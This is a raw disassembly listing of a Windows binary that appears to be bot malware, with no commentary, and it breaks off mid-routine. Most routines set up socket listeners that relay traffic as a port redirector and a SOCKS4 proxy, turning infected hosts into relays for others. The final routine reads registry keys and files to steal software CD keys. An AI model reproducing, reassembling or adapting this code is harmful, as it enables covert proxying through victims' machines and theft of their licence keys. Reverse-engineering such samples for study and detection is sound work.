		jnz	short loc_407A57
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D4C
		add	esp, 14h

loc_407A57:				; CODE XREF: sub_40799F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_407A6D:				; CODE XREF: sub_40799F+63j
					; sub_40799F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_421060
		mov	edi, ebx
		mov	dword_438FEC[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B3A

loc_407A8B:				; CODE XREF: sub_40799F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A88
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_414F93
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43F52C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40778B
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_407B05

loc_407AFA:				; CODE XREF: sub_40799F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B2C
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_407AFA
; ---------------------------------------------------------------------------

loc_407B05:				; CODE XREF: sub_40799F+159j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A38
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		add	esp, 10h

loc_407B2C:				; CODE XREF: sub_40799F+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A8B

loc_407B3A:				; CODE XREF: sub_40799F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BE4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep

loc_407B4F:				; CODE XREF: sub_40799F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_438FE8[eax*8]
		push	eax
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4279E0
		push	eax
		call	sub_4154E7
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B9D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D4C
		add	esp, 14h

loc_407B9D:				; CODE XREF: sub_40799F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_438FEC[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_4151DB
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BD4
		push	offset dword_439948
		call	dword_4210BC	; RtlDeleteCriticalSection

loc_407BD4:				; CODE XREF: sub_40799F+228j
		push	[ebp+var_2C]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_407BE4:				; CODE XREF: sub_40799F+19Ej
					; sub_40799F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_438FEC[eax*8], 1
		jnz	loc_407B4F
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_407BE4
sub_40799F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BFE	proc near		; DATA XREF: sub_40CE55+35ABo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43A398	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43A418	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D62
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_43F534[eax], ebx
		call	dword_43A2B4	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A3C4	; bind
		test	eax, eax
		jnz	loc_407D62
		push	0Ah
		push	ebx
		call	dword_43A3C0	; listen
		test	eax, eax
		jnz	loc_407D62

loc_407CA8:				; CODE XREF: sub_407BFE+BEj
					; sub_407BFE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43A42C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407CA8
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_427B70
		push	eax
		call	sub_4154E7
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_414F93
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43F52C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407D86
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43F53C[ecx], eax
		jz	short loc_407D4D

loc_407D3A:				; CODE XREF: sub_407BFE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407CA8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_407D3A
; ---------------------------------------------------------------------------

loc_407D4D:				; CODE XREF: sub_407BFE+13Aj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427B20
		call	sub_40B1E1
		pop	ecx
		pop	ecx
		jmp	short loc_407D65
; ---------------------------------------------------------------------------

loc_407D62:				; CODE XREF: sub_407BFE+61j
					; sub_407BFE+93j ...
		mov	edi, [ebp+arg_0]

loc_407D65:				; CODE XREF: sub_407BFE+162j
		push	edi
		call	dword_43A430	; closesocket
		push	ebx
		call	dword_43A430	; closesocket
		push	[ebp+var_3C]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407BFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D86	proc near		; DATA XREF: sub_407BFE+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43A418	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407F3C
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_43A398	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407E16
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43A41C	; gethostbyname
		jmp	short loc_407E24
; ---------------------------------------------------------------------------

loc_407E16:				; CODE XREF: sub_407D86+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43A350	; gethostbyaddr

loc_407E24:				; CODE XREF: sub_407D86+8Ej
		cmp	eax, edi
		jz	loc_407F3C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F3C
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_427C1C
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_414F93
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43F534[ebx]
		mov	dword_43F52C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43F538[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_407F6D
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43F53C[ecx], eax
		jz	short loc_407F29

loc_407ED6:				; CODE XREF: sub_407D86+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_407EE5
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_407ED6
; ---------------------------------------------------------------------------

loc_407EE5:				; CODE XREF: sub_407D86+153j
		mov	ebx, 1000h

loc_407EEA:				; CODE XREF: sub_407D86+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43A3B0	; recv
		cmp	eax, edi
		jle	short loc_407F3C
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407EEA
		jmp	short loc_407F3C
; ---------------------------------------------------------------------------

loc_407F29:				; CODE XREF: sub_407D86+14Ej
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427BC8
		call	sub_40B1E1
		pop	ecx
		pop	ecx

loc_407F3C:				; CODE XREF: sub_407D86+44j
					; sub_407D86+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43F534[eax]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	dword_43A430	; closesocket
		push	[ebp+var_4]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407D86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F6D	proc near		; DATA XREF: sub_407D86+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_407FA4:				; CODE XREF: sub_407F6D+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_43F538[esi]
		call	dword_43A3B0	; recv
		test	eax, eax
		jle	short loc_407FEB
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43F534[esi]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407FA4

loc_407FEB:				; CODE XREF: sub_407F6D+61j
		push	dword_43F538[esi]
		call	dword_43A430	; closesocket
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_407F6D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40800A	proc near		; DATA XREF: sub_40CE55+58ABo

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43A398	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_43A418	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43F534[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43A3C4	; bind
		test	eax, eax
		jnz	loc_4081AC
		push	0Ah
		push	edi
		call	dword_43A3C0	; listen
		test	eax, eax
		jnz	loc_4081AC
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D5C
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080E5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412D4C
		add	esp, 14h

loc_4080E5:				; CODE XREF: sub_40800A+B9j
					; sub_40800A+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43A42C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D04
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_414F93
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43F52C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_40820F
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43F53C[ecx], eax
		jz	short loc_40818C

loc_408179:				; CODE XREF: sub_40800A+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080E5
		push	5
		call	dword_421060	; Sleep
		jmp	short loc_408179
; ---------------------------------------------------------------------------

loc_40818C:				; CODE XREF: sub_40800A+16Dj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427CB8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	loc_4080E5
; ---------------------------------------------------------------------------

loc_4081AC:				; CODE XREF: sub_40800A+7Bj
					; sub_40800A+8Cj
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_427C74
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081EF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412D4C
		add	esp, 14h

loc_4081EF:				; CODE XREF: sub_40800A+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_3C]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40800A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820F	proc near		; DATA XREF: sub_40800A+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43F534[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43A380	; select
		test	eax, eax
		jnz	short loc_408290
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_408290:				; CODE XREF: sub_40820F+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43A3B0	; recv
		test	eax, eax
		jg	short loc_4082C1
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_4082C1:				; CODE XREF: sub_40820F+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4084BB
		cmp	[ebp+var_4CF], 1
		jnz	loc_4084BB
		cmp	[ebp+var_44], bl
		jz	short loc_408357
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408357
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_427E3C
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A3E8	; send
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_408357:				; CODE XREF: sub_40820F+CFj
					; sub_40820F+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_415570
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083EF
		call	dword_43A32C	; WSAGetLastError
		push	eax
		push	offset unk_427DEC
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A3E8	; send
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_4083EF:				; CODE XREF: sub_40820F+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40845E
		call	dword_43A32C	; WSAGetLastError
		push	eax
		push	offset unk_427D98
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A3E8	; send
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_40845E:				; CODE XREF: sub_40820F+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A3E8	; send
		push	dword ptr [esi]
		push	edi
		call	sub_4084D3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_4084BB:				; CODE XREF: sub_40820F+B9j
					; sub_40820F+C6j
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40820F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084D3	proc near		; CODE XREF: sub_40820F+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4084E9:				; CODE XREF: sub_4084D3+C5j
					; sub_4084D3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_408501:				; CODE XREF: sub_4084D3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_408511
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_408501

loc_408511:				; CODE XREF: sub_4084D3+33j
		cmp	ecx, 1
		jnz	short loc_408526
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_408526:				; CODE XREF: sub_4084D3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43A380	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43A290	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_408586
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE

loc_408586:				; CODE XREF: sub_4084D3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A290	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4084E9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3B0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084E9

loc_4085CE:				; CODE XREF: sub_4084D3+9Aj
					; sub_4084D3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085D3	proc near		; CODE XREF: sub_40CE55+52B0p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_427E94, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408785
		push	esi
		push	edi
		mov	eax, offset off_427E94
		mov	esi, offset dword_427EA0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."

loc_408603:				; CODE XREF: sub_4085D3+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43A408	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43A2A4	; RegQueryValueExA
		test	eax, eax
		jnz	loc_40876B
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_40872F
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415BE8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40876B
		push	eax

loc_40867C:				; CODE XREF: sub_4085D3+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41713C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408724
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086A9
		push	[ebp+var_8]
		jmp	short loc_40867C
; ---------------------------------------------------------------------------

loc_4086A9:				; CODE XREF: sub_4085D3+CFj
		push	3Dh
		push	dword ptr [esi+4]
